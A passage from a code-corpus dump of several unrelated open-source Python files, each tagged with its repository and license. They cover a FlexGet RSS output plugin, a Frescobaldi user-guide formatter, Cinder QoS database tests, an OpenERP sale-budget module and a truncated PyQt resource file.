With this example file series.rss would contain succeeded
entries from both tasks.
**Number of days / items**
By default output contains items from last 7 days. You can specify
different perioid, number of items or both. Value -1 means unlimited.
Example::
make_rss:
file: ~/public_html/series.rss
days: 2
items: 10
Generate RSS that will containing last two days and no more than 10 items.
Example 2::
make_rss:
file: ~/public_html/series.rss
days: -1
items: 50
Generate RSS that will contain last 50 items, regardless of dates.
RSS feed properties:
You can specify the URL, title, and description to include in tthe header
of the RSS feed.
Example::
make_rss:
file: ~/public_html/series.rss
rsslink: http://my.server.net/series.rss
rsstitle: The Flexget RSS Feed
rssdesc: Episodes about Flexget.
**RSS item title and link**
You can specify the title and link for each item in the RSS feed.
The item title can be any pattern that references fields in the input entry.
The item link can be created from one of a list of fields in the input
entry, in order of preference. The fields should be enumerated in a list.
Note that the url field is always used as last possible fallback even
without explicitly adding it into the list.
Default field list for item URL: imdb_url, input_url, url
Example::
make_rss:
file: ~/public_html/series.rss
title: '{{title}} (from {{task}})'
link:
- imdb_url
"""
schema = {
'oneOf': [
{'type': 'string'}, # TODO: path / file
{
'type': 'object',
'properties': {
'file': {'type': 'string'},
'days': {'type': 'integer'},
'items': {'type': 'integer'},
'history': {'type': 'boolean'},
'timestamp': {'type': 'boolean'},
'rsslink': {'type': 'string'},
'rsstitle': {'type': 'string'},
'rssdesc': {'type': 'string'},
'encoding': {'type': 'string'}, # TODO: only valid choices
'title': {'type': 'string'},
'template': {'type': 'string'},
'link': {'type': 'array', 'items': {'type': 'string'}},
},
'required': ['file'],
'additionalProperties': False,
},
]
}
def on_task_output(self, task, config):
# makes this plugin count as output (stops warnings about missing outputs)
pass
def prepare_config(self, config):
if not isinstance(config, dict):
config = {'file': config}
config.setdefault('days', 7)
config.setdefault('items', -1)
config.setdefault('history', True)
config.setdefault('encoding', 'UTF-8')
config.setdefault('timestamp', False)
config.setdefault('link', ['imdb_url', 'input_url'])
config.setdefault('title', '{{title}} (from {{task}})')
config.setdefault('template', 'rss')
# add url as last resort
config['link'].append('url')
return config
def on_task_exit(self, task, config):
"""Store finished / downloaded entries at exit"""
if not rss2gen:
raise plugin.PluginWarning('plugin make_rss requires PyRSS2Gen library.')
config = self.prepare_config(config)
# when history is disabled, remove everything from backlog on every run (a bit hackish, rarely useful)
if not config['history']:
logger.debug('disabling history')
for item in task.session.query(RSSEntry).filter(RSSEntry.file == config['file']).all():
task.session.delete(item)
# save entries into db for RSS generation
for entry in task.accepted:
rss = RSSEntry()
try:
rss.title = entry.render(config['title'])
except RenderError as e:
logger.error(
'Error rendering jinja title for `{}` falling back to entry title: {}',
entry['title'],
e,
)
rss.title = entry['title']
for field in config['link']:
if field in entry:
rss.link = entry[field]
break
try:
template = get_template(config['template'], scope='task')
except ValueError as e:
raise plugin.PluginError('Invalid template specified: %s' % e)
try:
rss.description = render_from_entry(template, entry)
except RenderError as e:
logger.error(
'Error while rendering entry {}, falling back to plain title: {}', entry, e
)
rss.description = entry['title'] + ' - (Render Error)'
rss.file = config['file']
if 'rss_pubdate' in entry:
rss.published = entry['rss_pubdate']
rss.enc_length = entry['size'] if 'size' in entry else None
rss.enc_type = entry['type'] if 'type' in entry else None
# TODO: check if this exists and suggest disabling history if it does since it shouldn't happen normally ...
logger.debug('Saving {} into rss database', entry['title'])
task.session.add(rss)
if not rss2gen:
return
# don't generate rss when learning
if task.options.learn:
return
db_items = (
task.session.query(RSSEntry)
.filter(RSSEntry.file == config['file'])
.order_by(RSSEntry.published.desc())
.all()
)
# make items
rss_items = []
for db_item in db_items:
add = True
if config['items'] != -1:
if len(rss_items) > config['items']:
add = False
if config['days'] != -1:
if (
datetime.datetime.today() - datetime.timedelta(days=config['days'])
> db_item.published
):
add = False
if add:
# add into generated feed
hasher = hashlib.sha1()
hasher.update(db_item.title.encode('utf8'))
hasher.update(db_item.description.encode('utf8'))
hasher.update(db_item.link.encode('utf8'))
guid = base64.urlsafe_b64encode(hasher.digest()).decode('ascii')
guid = PyRSS2Gen.Guid(guid, isPermaLink=False)
gen = {
'title': db_item.title,
'description': db_item.description,
'link': db_item.link,
'pubDate': db_item.published,
'guid': guid,
}
if db_item.enc_length is not None and db_item.enc_type is not None:
gen['enclosure'] = PyRSS2Gen.Enclosure(
db_item.link, db_item.enc_length, db_item.enc_type
)
logger.trace('Adding {} into rss {}', gen['title'], config['file'])
rss_items.append(PyRSS2Gen.RSSItem(**gen))
else:
# no longer needed
task.session.delete(db_item)
# make rss
rss = PyRSS2Gen.RSS2(
title=config.get('rsstitle', 'FlexGet'),
link=config.get('rsslink', 'http://flexget.com'),
description=config.get('rssdesc', 'FlexGet generated RSS feed'),
lastBuildDate=datetime.datetime.utcnow() if config['timestamp'] else None,
items=rss_items,
)
# don't run with --test
if task.options.test:
logger.info('Would write rss file with {} entries.', len(rss_items))
return
# write rss
fn = os.path.expanduser(config['file'])
with io.open(fn, 'wb') as file:
try:
logger.verbose('Writing output rss to {}', fn)
rss.write_xml(file, encoding=config['encoding'])
except LookupError:
logger.critical('Unknown encoding {}', config['encoding'])
return
except IOError:
# TODO: plugins cannot raise PluginWarnings in terminate event ..
logger.critical('Unable to write {}', fn)
return
@event('plugin.register')
def register_plugin():
plugin.register(OutputRSS, 'make_rss', api_ver=2)
| malkavi/Flexget | flexget/plugins/output/rss.py | Python | mit | 10,415 |
# -*- coding: utf-8 -*-
"""
Tests for Optical elements
--------------------------
.. automodule:: tests.raycing.test_asymmetric_xtal
.. automodule:: tests.raycing.test_backcattering_xtal_Shvydko
"""
| kklmn/xrt | tests/raycing/test_oes.py | Python | mit | 205 |
# This file is part of the Frescobaldi project, http://www.frescobaldi.org/
#
# Copyright (c) 2008 - 2014 by Wilbert Berendsen
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
# See http://www.gnu.org/licenses/ for more information.
"""
Utility functions for the user guide.
"""
import re
import app
import simplemarkdown
from .page import Page
class Formatter(object):
"""Format a full userguide page HTML."""
def html(self, name):
"""Return a full userguide page HTML."""
page = Page(name)
from appinfo import appname, version
parents = cache.parents(name) if name != 'index' else []
children = cache.children(name)
qt_detail = '<qt type=detail>' if page.is_popup() else ''
title = page.title()
nav_up = ''
if parents and not page.is_popup():
pp = parents
links = []
while pp:
p = pp[0]
links.append(p)
pp = cache.parents(p)
nav_up = '<p>{0} {1}</p>'.format(
_("Up:"),
' → '.join(map(self.format_link, reversed(links))))
body = self.markexternal(page.body())
nav_children, nav_next, nav_seealso = '', '', ''
if children:
nav_children = '<p>{0}</p>\n<ul>{1}</ul>'.format(
_("In this chapter:"),
'\n'.join('<li>{0}</li>'.format(self.format_link(c))
for c in children))
else:
# add navigation to next page, or if last page, to next page in
# the first parent document that has a next page.
html = []
def sibling(parent, name):
"""Return the next sibling page name."""
c = cache.children(parent)
i = c.index(name)
if i < len(c) - 1:
return c[i+1]
for p in parents:
next_page = sibling(p, name)
if next_page:
html.append('<div>{0} {1}</div>'.format(
_("Next:"), self.format_link(next_page)))
else:
pp = [(parent, p) for parent in cache.parents(p)]
while pp:
p1, p = pp.pop(0)
next_chapter = sibling(p1, p)
if next_chapter:
html.append('<div>{0} {1}</div>'.format(
_("Next Chapter:"), self.format_link(next_chapter)))
else:
pp.extend((parent, p1) for parent in cache.parents(p1))
nav_next = '\n'.join(html)
if page.seealso():
nav_seealso = "<p>{0} {1}</p>".format(
_("See also:"),
', '.join(map(self.format_link, page.seealso())))
return self._html_template().format(**locals())
def format_link(self, name):
"""Make a clickable link to the page."""
return format_link(name)
def markexternal(self, text):
"""Marks http(s)/ftp(s) links as external with an arrow."""
return markexternal(text)
def _html_template(self):
"""Return the userguide html template to render the html().
The default implementation returns _userguide_html_template.
"""
return _userguide_html_template
def format_link(name):
"""Make a clickable link to the page."""
title = simplemarkdown.html_escape(cache.title(name))
return '<a href="{0}">{1}</a>'.format(name, title)
def markexternal(text):
"""Marks http(s)/ftp(s) links as external with an arrow."""
pat = re.compile(r'''<a\s+.*?href\s*=\s*(['"])(ht|f)tps?.*?\1[^>]*>''', re.I)
return pat.sub(r'\g<0>⬀', text)
_userguide_html_template = '''\
{qt_detail}<html>
<head>
<style type="text/css">
body {{
margin: 10px;
}}
</style>
<title>{title}</title>
</head>
<body>
{nav_up}
{body}
{nav_children}
{nav_next}
{nav_seealso}
<br/><hr width=80%/>
<address><center>{appname} {version}</center></address>
</body>
</html>
'''
class Cache(object):
"""Cache certain information about pages.
Just one instance of this is created and put in the cache global.
"""
def __init__(self):
self._title = {}
self._children = {}
app.languageChanged.connect(lambda: self._title.clear(), -999)
def title(self, name):
"""Return the title of the named page."""
try:
t = self._title[name]
except KeyError:
t = self._title[name] = Page(name).title()
return t
def children(self, name):
"""Return the list of children of the named page."""
try:
c = self._children[name]
except KeyError:
c = self._children[name] = Page(name).children()
return c
def parents(self, name):
"""Return the list of parents (zero or more) of the named page."""
try:
self._parents
except AttributeError:
self._parents = {}
self._compute_parents()
try:
return self._parents[name]
except KeyError:
return []
def _compute_parents(self):
def _compute(n1):
for n in self.children(n1):
self._parents.setdefault(n, []).append(n1)
_compute(n)
_compute('index')
# one global Cache instance
cache = Cache()
| anthonyfok/frescobaldi | frescobaldi_app/userguide/util.py | Python | gpl-2.0 | 6,191 |
from baseanalyzer import *
from mysqlanalyzer import *
from postgresqlanalyzer import *
from sqlite3analyzer import *
def get_analyzer(deployer):
if deployer.get_database().name == 'MySQL':
return MySQLAnalyzer(deployer)
elif deployer.get_database().name == 'PostgreSQL':
return PostgreSQLAnalyzer(deployer)
elif deployer.get_database().name == 'SQLite3':
return SQLite3Analyzer(deployer)
else:
return BaseAnalyzer(deployer) | cmu-db/cmdbac | core/analyzers/__init__.py | Python | apache-2.0 | 437 |
# Copyright (C) 2013 eBay Inc.
# Copyright (C) 2013 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""Tests for quality_of_service_specs table."""
import time
from cinder import context
from cinder import db
from cinder import exception
from cinder import test
from cinder.tests.unit import fake_constants as fake
from cinder.volume import volume_types
def fake_qos_specs_get_by_name(context, name, session=None, inactive=False):
pass
class QualityOfServiceSpecsTableTestCase(test.TestCase):
"""Test case for QualityOfServiceSpecs model."""
def setUp(self):
super(QualityOfServiceSpecsTableTestCase, self).setUp()
self.ctxt = context.RequestContext(user_id=fake.USER_ID,
project_id=fake.PROJECT_ID,
is_admin=True)
def _create_qos_specs(self, name, consumer='back-end', values=None):
"""Create a transfer object."""
if values is None:
values = {'key1': 'value1', 'key2': 'value2'}
specs = {'name': name,
'consumer': consumer,
'specs': values}
return db.qos_specs_create(self.ctxt, specs)['id']
def test_qos_specs_create(self):
# If there is qos specs with the same name exists,
# a QoSSpecsExists exception will be raised.
name = 'QoSSpecsCreationTest'
self._create_qos_specs(name)
self.assertRaises(exception.QoSSpecsExists,
db.qos_specs_create, self.ctxt, dict(name=name))
specs_id = self._create_qos_specs('NewName')
query_id = db.qos_specs_get_by_name(
self.ctxt, 'NewName')['id']
self.assertEqual(specs_id, query_id)
def test_qos_specs_get(self):
qos_spec = {'name': 'Name1',
'consumer': 'front-end',
'specs': {'key1': 'foo', 'key2': 'bar'}}
specs_id = self._create_qos_specs(qos_spec['name'],
qos_spec['consumer'],
qos_spec['specs'])
fake_id = fake.WILL_NOT_BE_FOUND_ID
self.assertRaises(exception.QoSSpecsNotFound,
db.qos_specs_get, self.ctxt, fake_id)
specs_returned = db.qos_specs_get(self.ctxt, specs_id)
qos_spec['id'] = specs_id
self.assertDictEqual(qos_spec, specs_returned)
def test_qos_specs_get_all(self):
qos_list = [
{'name': 'Name1',
'consumer': 'front-end',
'specs': {'key1': 'v1', 'key2': 'v2'}},
{'name': 'Name2',
'consumer': 'back-end',
'specs': {'key1': 'v3', 'key2': 'v4'}},
{'name': 'Name3',
'consumer': 'back-end',
'specs': {'key1': 'v5', 'key2': 'v6'}}]
for qos in qos_list:
qos['id'] = self._create_qos_specs(qos['name'],
qos['consumer'],
qos['specs'])
specs_list_returned = db.qos_specs_get_all(self.ctxt)
self.assertEqual(len(qos_list), len(specs_list_returned),
"Unexpected number of qos specs records")
for expected_qos in qos_list:
self.assertIn(expected_qos, specs_list_returned)
def test_qos_specs_delete(self):
name = str(int(time.time()))
specs_id = self._create_qos_specs(name)
db.qos_specs_delete(self.ctxt, specs_id)
self.assertRaises(exception.QoSSpecsNotFound,
db.qos_specs_get,
self.ctxt, specs_id)
def test_qos_specs_item_delete(self):
name = str(int(time.time()))
value = dict(foo='Foo', bar='Bar')
specs_id = self._create_qos_specs(name, 'front-end', value)
del value['foo']
expected = {'name': name,
'id': specs_id,
'consumer': 'front-end',
'specs': value}
db.qos_specs_item_delete(self.ctxt, specs_id, 'foo')
specs = db.qos_specs_get(self.ctxt, specs_id)
self.assertDictEqual(expected, specs)
def test_associate_type_with_qos(self):
self.assertRaises(exception.VolumeTypeNotFound,
db.volume_type_qos_associate,
self.ctxt, fake.VOLUME_ID, fake.QOS_SPEC_ID)
type_id = volume_types.create(self.ctxt, 'TypeName')['id']
specs_id = self._create_qos_specs('FakeQos')
db.volume_type_qos_associate(self.ctxt, type_id, specs_id)
res = db.qos_specs_associations_get(self.ctxt, specs_id)
self.assertEqual(1, len(res))
self.assertEqual(type_id, res[0]['id'])
self.assertEqual(specs_id, res[0]['qos_specs_id'])
def test_qos_associations_get(self):
self.assertRaises(exception.QoSSpecsNotFound,
db.qos_specs_associations_get,
self.ctxt, fake.WILL_NOT_BE_FOUND_ID)
type_id = volume_types.create(self.ctxt, 'TypeName')['id']
specs_id = self._create_qos_specs('FakeQos')
res = db.qos_specs_associations_get(self.ctxt, specs_id)
self.assertEqual(0, len(res))
db.volume_type_qos_associate(self.ctxt, type_id, specs_id)
res = db.qos_specs_associations_get(self.ctxt, specs_id)
self.assertEqual(1, len(res))
self.assertEqual(type_id, res[0]['id'])
self.assertEqual(specs_id, res[0]['qos_specs_id'])
type0_id = volume_types.create(self.ctxt, 'Type0Name')['id']
db.volume_type_qos_associate(self.ctxt, type0_id, specs_id)
res = db.qos_specs_associations_get(self.ctxt, specs_id)
self.assertEqual(2, len(res))
self.assertEqual(specs_id, res[0]['qos_specs_id'])
self.assertEqual(specs_id, res[1]['qos_specs_id'])
def test_qos_specs_disassociate(self):
type_id = volume_types.create(self.ctxt, 'TypeName')['id']
specs_id = self._create_qos_specs('FakeQos')
db.volume_type_qos_associate(self.ctxt, type_id, specs_id)
res = db.qos_specs_associations_get(self.ctxt, specs_id)
self.assertEqual(type_id, res[0]['id'])
self.assertEqual(specs_id, res[0]['qos_specs_id'])
db.qos_specs_disassociate(self.ctxt, specs_id, type_id)
res = db.qos_specs_associations_get(self.ctxt, specs_id)
self.assertEqual(0, len(res))
res = db.volume_type_get(self.ctxt, type_id)
self.assertIsNone(res['qos_specs_id'])
def test_qos_specs_disassociate_all(self):
specs_id = self._create_qos_specs('FakeQos')
type1_id = volume_types.create(self.ctxt, 'Type1Name')['id']
type2_id = volume_types.create(self.ctxt, 'Type2Name')['id']
type3_id = volume_types.create(self.ctxt, 'Type3Name')['id']
db.volume_type_qos_associate(self.ctxt, type1_id, specs_id)
db.volume_type_qos_associate(self.ctxt, type2_id, specs_id)
db.volume_type_qos_associate(self.ctxt, type3_id, specs_id)
res = db.qos_specs_associations_get(self.ctxt, specs_id)
self.assertEqual(3, len(res))
db.qos_specs_disassociate_all(self.ctxt, specs_id)
res = db.qos_specs_associations_get(self.ctxt, specs_id)
self.assertEqual(0, len(res))
def test_qos_specs_update(self):
name = 'FakeName'
specs_id = self._create_qos_specs(name)
value = {'consumer': 'both',
'specs': {'key2': 'new_value2', 'key3': 'value3'}}
self.assertRaises(exception.QoSSpecsNotFound, db.qos_specs_update,
self.ctxt, fake.WILL_NOT_BE_FOUND_ID, value)
db.qos_specs_update(self.ctxt, specs_id, value)
specs = db.qos_specs_get(self.ctxt, specs_id)
self.assertEqual('new_value2', specs['specs']['key2'])
self.assertEqual('value3', specs['specs']['key3'])
self.assertEqual('both', specs['consumer'])
| ge0rgi/cinder | cinder/tests/unit/db/test_qos_specs.py | Python | apache-2.0 | 8,566 |
# -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Addons modules by CLEARCORP S.A.
# Copyright (C) 2009-TODAY CLEARCORP S.A. (<http://clearcorp.co.cr>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
from osv import fields, osv
from tools.translate import _
import decimal_precision as dp
class sale_order(osv.osv):
_name = 'sale.order'
_inherit = 'sale.order'
_columns= {
'budget_move_id': fields.many2one('budget.move', 'Budget move' )
}
def action_invoice_create(self, cr, uid, ids, grouped=False, states=None, date_invoice = False, context=None):
obj_bud_mov = self.pool.get('budget.move')
acc_inv_mov = self.pool.get('account.invoice')
res = False
for id in ids:
context.update({'from_order' : True,})
invoice_id = super(sale_order, self).action_invoice_create(cr, uid, ids, grouped, states, date_invoice, context=context)
acc_inv_mov.write(cr, uid, [invoice_id],{'from_order': True})
for sale in self.browse(cr, uid, [id],context=context):
move_id = sale.budget_move_id.id
obj_bud_mov.action_execute(cr,uid, [move_id],context=context)
res = invoice_id
return res
def create_budget_move(self,cr, uid, vals, context=None):
bud_move_obj = self.pool.get('budget.move')
move_id = bud_move_obj.create(cr, uid, { 'type':'invoice_out' }, context=context)
return move_id
def create(self, cr, uid, vals, context=None):
obj_bud_move = self.pool.get('budget.move')
move_id = self.create_budget_move(cr, uid, vals, context=context)
vals['budget_move_id'] = move_id
order_id = super(sale_order, self).create(cr, uid, vals, context=context)
for order in self.browse(cr,uid,[order_id], context=context):
obj_bud_move.write(cr, uid, [move_id], {'origin': order.name }, context=context)
return order_id
def write(self, cr, uid, ids, vals, context=None):
bud_move_obj = self.pool.get('budget.move')
result = super(sale_order, self).write(cr, uid, ids, vals, context=context)
for order in self.browse(cr, uid, ids, context=context):
move_id = order.budget_move_id.id
bud_move_obj.write(cr,uid, [move_id], {'date':order.budget_move_id.date},context=context)
return result
class sale_order_line(osv.osv):
_name = 'sale.order.line'
_inherit = 'sale.order.line'
def _subtotal_discounted_taxed(self, cr, uid, ids, field_name, args, context=None):
res = {}
for line in self.browse(cr, uid, ids, context=context):
if line.discount > 0:
price_unit_discount = line.price_unit - (line.price_unit * (line.discount / 100) )
else:
price_unit_discount = line.price_unit
#-----taxes---------------#
#taxes must be calculated with unit_price - discount
amount_discounted_taxed = self.pool.get('account.tax').compute_all(cr, uid, line.tax_id, price_unit_discount, line.product_uom_qty, line.product_id.id, line.order_id.partner_id)['total_included']
res[line.id]= amount_discounted_taxed
return res
_columns = {
'program_line_id': fields.many2one('budget.program.line', 'Program line', required=True),
'subtotal_discounted_taxed': fields.function(_subtotal_discounted_taxed, digits_compute= dp.get_precision('Account'), string='Subtotal', ),
}
def create_budget_move_line(self,cr, uid, vals, line_id, context=None):
sale_order_obj = self.pool.get('sale.order')
sale_line_obj = self.pool.get('sale.order.line')
bud_move_obj = self.pool.get('budget.move')
bud_line_obj = self.pool.get('budget.move.line')
so_id = vals['order_id']
order = sale_order_obj.browse(cr, uid, [so_id], context=context)[0]
order_line = sale_line_obj.browse(cr, uid, [line_id], context=context)[0]
move_id = order.budget_move_id.id
bud_line_obj.create(cr, uid, {'budget_move_id': move_id,
'origin' : order_line.name,
'program_line_id': vals['program_line_id'],
'fixed_amount': order_line.subtotal_discounted_taxed * -1 , #should be negative because it is an income
'so_line_id': line_id,
}, context=context)
return line_id
def create(self, cr, uid, vals, context=None):
line_id = super(sale_order_line, self).create(cr, uid, vals, context=context)
self.create_budget_move_line(cr, uid, vals, line_id, context=context)
return line_id
#
def write(self, cr, uid, ids, vals, context=None):
bud_line_obj = self.pool.get('budget.move.line')
result = super(sale_order_line, self).write(cr, uid, ids, vals, context=context)
for line in self.browse(cr, uid, ids, context=context):
search_result = bud_line_obj.search(cr, uid,[('so_line_id','=', line.id)], context=context)
bud_line_id = search_result[0]
if bud_line_id:
bud_line_obj.write(cr, uid, [bud_line_id], {'program_line_id': line.program_line_id.id, 'fixed_amount':line.subtotal_discounted_taxed})
return result | 3dfxsoftware/cbss-addons | budget/sale.py | Python | gpl-2.0 | 6,328 |
# -*- coding: utf-8 -*-
# Resource object code
#
# Created: Sun Sep 2 11:54:53 2012
# by: The Resource Compiler for PyQt (Qt v4.8.2)
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore
qt_resource_data = b"\
\x00\x00\x04\x58\
\x89\
\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\
\x00\x00\x16\x00\x00\x00\x16\x08\x06\x00\x00\x00\xc4\xb4\x6c\x3b\
\x00\x00\x04\x1f\x49\x44\x41\x54\x78\xda\xa5\x55\xcf\x4f\x54\x67\
\x14\x3d\xef\xbd\x6f\xde\x30\x3f\x5b\xc6\x81\x86\x0a\x08\x84\xa8\
\x11\x5c\xd8\x11\xc5\xc4\x1a\xd4\x88\xd1\xc4\x85\x89\x2b\x16\x06\
\x97\x2e\x5c\x91\x2e\x5d\x55\x77\x25\x51\x17\x2e\xdc\x9a\xd0\x3f\
\x40\x25\xda\x8d\x89\x71\xa5\xa8\x55\xab\x9a\x4a\x81\x02\x05\x40\
\x1c\x98\x61\x7e\x31\x30\xef\xf5\xdc\x8f\x37\x93\x57\x16\xdd\x78\
\x92\x3b\xf7\xcd\x8f\xef\x7c\xe7\x9e\xef\xde\x6f\x8c\x9f\x80\xe6\
\x80\x65\xfd\xdc\x91\x4c\x0e\x28\xcb\xb2\xf1\x15\xd8\xac\x54\xca\
\x13\xcb\xcb\x23\x1b\x95\xca\x55\x25\xa4\x43\xfd\xfd\x83\xc5\x62\
\x11\xcb\x6b\x6b\x80\xeb\xc2\x0f\xd3\x30\x60\x9a\xa6\xce\x96\x97\
\xcd\xed\xd9\x7b\x8e\xd4\xd5\xd9\x9b\xc0\xe0\x2f\x8f\x1e\x41\xb5\
\x53\x69\xbe\x50\xc0\xfc\xee\xdd\x48\xa4\x52\xf0\xc3\xf0\x16\x69\
\xd2\x60\x50\xbf\x37\x36\x37\x61\x4a\xf6\xc2\xff\x9c\x7f\xf7\x0e\
\x91\xd7\xaf\x21\x9c\x4a\x99\xa6\x2d\x4a\x63\x9d\x9d\x70\xb8\xc8\
\xaf\x34\xd2\xde\x0e\x9b\x11\x6c\x68\x40\x38\x91\x80\x20\xff\xe5\
\x0b\xf2\x8b\x8b\x28\x7c\xfa\x84\xe8\xea\x2a\xe0\x23\x0e\xb6\xb5\
\xa1\x3c\x36\x06\xe1\x54\x2e\xa4\x7a\x17\x1b\xd9\x2c\x9c\x8d\x0d\
\x08\x54\x28\x84\x1d\xa7\x4e\xa1\x7e\xff\x7e\x6c\x47\x34\x99\xd4\
\x81\xae\x2e\xfc\xfd\xec\x19\x2c\x12\x85\xc4\x3e\x5a\x61\xac\xaf\
\xeb\x0d\x84\x53\x89\xa7\x12\xe5\x4c\x06\x16\xbf\xb0\xc3\x61\xec\
\xba\x7c\x19\x75\x9e\xc2\x3f\x1e\x3f\xc6\xe7\x37\x6f\x50\xa1\xca\
\x38\xed\x50\x4d\x4d\x48\x70\xc3\xb6\x23\x47\xb0\xeb\xd0\x21\xac\
\x75\x74\x60\xee\xce\x1d\x34\x28\x05\x50\x98\x01\x68\x3e\xe5\xf0\
\x45\x22\xfd\xfc\x39\x12\xdd\xdd\xf8\xee\xc2\x05\x4d\x5a\xe0\x46\
\xbf\x0d\x0f\xa3\x71\x6e\x0e\xcd\xd1\xe8\x96\xd7\xdc\xd8\xa4\x6d\
\xe6\xf8\x38\x26\xe9\x65\xd3\xc0\x00\x62\x54\x6f\x1d\x3d\x8a\x8d\
\x87\x0f\x61\x93\x87\x32\x35\x9f\x29\x36\x68\x2b\xe6\xe7\x11\x88\
\x44\x90\x3c\x7c\x18\x82\xd1\xeb\xd7\xd1\x36\x31\x81\xfa\x4a\x05\
\x6e\x2e\x87\x6f\xfa\xfb\x61\xf5\xf5\xa1\xc4\x0d\xc1\xf7\xf6\xdb\
\xb7\xc8\xdc\xbd\x0b\x41\xe7\xb1\x63\x98\xad\xaf\x07\xd8\x04\x86\
\x08\xd6\xc4\xd8\x82\x65\x59\x68\x38\x7d\x1a\x82\xdf\xef\xdd\x43\
\x9c\x8a\x14\x5b\xd0\xa5\xc2\x10\x0f\x25\x79\xe6\x0c\x5a\xcf\x9d\
\xdb\x22\xe0\x67\x42\xee\xd2\xdf\xf4\x93\x27\x10\xc4\x0f\x1e\x44\
\x81\x76\x91\x4f\x42\x2b\xd6\x65\x2a\x12\xc7\x79\x20\x82\x89\xfb\
\xf7\xb1\x43\x0e\x93\x21\xc4\x26\xbf\xab\xc2\x09\x04\x84\x54\x93\
\x1b\xcc\x72\x78\x82\x46\x76\x55\x7a\x61\xa1\xa6\x58\xb9\x9e\x2f\
\xc1\x78\x1c\x91\xd6\x56\x08\x8a\x1f\x3f\xc2\x28\x95\xe0\x96\xcb\
\x70\x85\x88\xde\xd6\xc0\xcf\x84\x58\x6f\xc6\xb5\x9b\xac\x4c\x2b\
\x6e\x6e\x46\xc6\xb6\xb1\xb3\x4a\x2c\x46\x1b\x9e\xe2\x2a\x42\x7c\
\x96\x29\xd3\x21\x65\x39\x0e\xaa\x30\xf5\x22\x47\xb2\x4c\x9b\xce\
\x55\xac\xcb\xb3\xff\xf0\x20\xe4\x34\x3e\x37\x33\x03\x41\x78\xdf\
\x3e\x21\xd5\xbe\x2b\x6f\x6c\xfd\x83\xe3\x1f\x67\x7b\xcf\x1e\x08\
\xb2\xb3\xb3\xf8\x96\x03\xe6\x72\x53\x72\xd6\x3c\xd6\x24\x85\x0f\
\x1f\x20\x68\x3e\x79\x52\x37\xbc\xf2\x54\xfb\x15\x73\xa1\x26\xb5\
\xbc\xbb\x43\xf5\xf6\x42\xb0\xcc\xb5\x8d\xec\x73\x6f\xe0\xb8\xc6\
\xf3\x58\x7e\x94\x63\x2f\x0a\xba\xcf\x9f\xc7\x6a\x2a\x55\xb3\xa3\
\xfc\xea\x15\x72\xd3\xd3\x58\x99\x9a\x42\xf1\xc5\x0b\x58\x9e\x62\
\xbb\xa7\x07\x41\x8a\x10\x4c\x73\x6d\xd2\x23\x76\xaa\xc4\xf0\x88\
\x4b\x4f\x9f\x62\x61\x74\x14\x82\x1f\xae\x5d\x43\x91\x2d\xa4\x15\
\xb3\xed\xb2\x97\x2e\x61\xe6\xe2\x45\xf4\xf0\x30\x35\x29\xfb\xdd\
\x1e\x1a\x82\x60\x9c\x6b\xbe\x67\x5f\xb3\x42\x5d\x91\x53\xed\x0a\
\x71\x50\x79\x9e\xe6\x6f\xde\x44\xfe\xc0\x01\x44\x38\xba\x5d\x37\
\x6e\x60\xfa\xc1\x03\x04\x78\x27\xa8\xc9\x49\x48\xcf\x04\xf6\xee\
\x85\xc1\x71\x0e\x1f\x3f\x0e\x41\x8e\x83\x35\x7d\xeb\x16\x7e\x8c\
\x46\x75\x13\x88\x69\x9a\x73\x38\x1a\x75\xfb\xd8\x83\x61\x96\x51\
\x2d\x1d\xb1\x18\x02\x57\xae\xa0\xe5\xec\x59\xfc\x1f\xfe\x64\xbf\
\x2f\xde\xbe\x8d\x14\xab\xb0\x29\x4a\x88\x97\x56\x56\xf0\x2b\xaf\
\x07\xe5\xf7\xb8\x16\x2c\xdd\xe2\x3d\xf1\x17\xa7\xca\x3c\x71\x02\
\x09\xaa\x8c\xb7\xb4\x40\x90\x65\xe7\xc8\x41\xfd\x43\x4f\x77\xbe\
\x7f\x8f\xde\x70\x58\x08\x6b\xe1\x78\x1e\xab\x8a\xe3\x94\x8b\xa5\
\x92\x5d\x1f\x89\x54\x5b\xac\xf6\x4f\x11\x7f\xf9\x12\x16\x0f\xae\
\x04\x60\x89\x15\xe5\xd9\x4e\x31\x46\x03\x07\xa1\x45\x29\x18\x3e\
\x52\xd3\xcb\x9f\x79\x47\x0b\xa7\x5a\x29\x95\x46\x16\x32\x99\x41\
\x07\x74\x20\x14\xfa\xef\xbf\xc3\xb6\x1c\x61\xb8\xb2\x49\xf5\x37\
\x20\xbc\x2c\xef\x97\x79\x05\x4c\x2d\x2d\x41\x38\xc5\x8a\xab\x63\
\x9c\xf1\x78\x3a\x3d\x40\x02\x1b\x5f\x01\x72\x95\xb3\xe5\xf2\x88\
\x70\xfe\x0b\x44\xcb\xf0\x2c\x1e\xa0\xc6\x2d\x00\x00\x00\x00\x49\
\x45\x4e\x44\xae\x42\x60\x82\
\x00\x00\x05\xf7\
\x89\
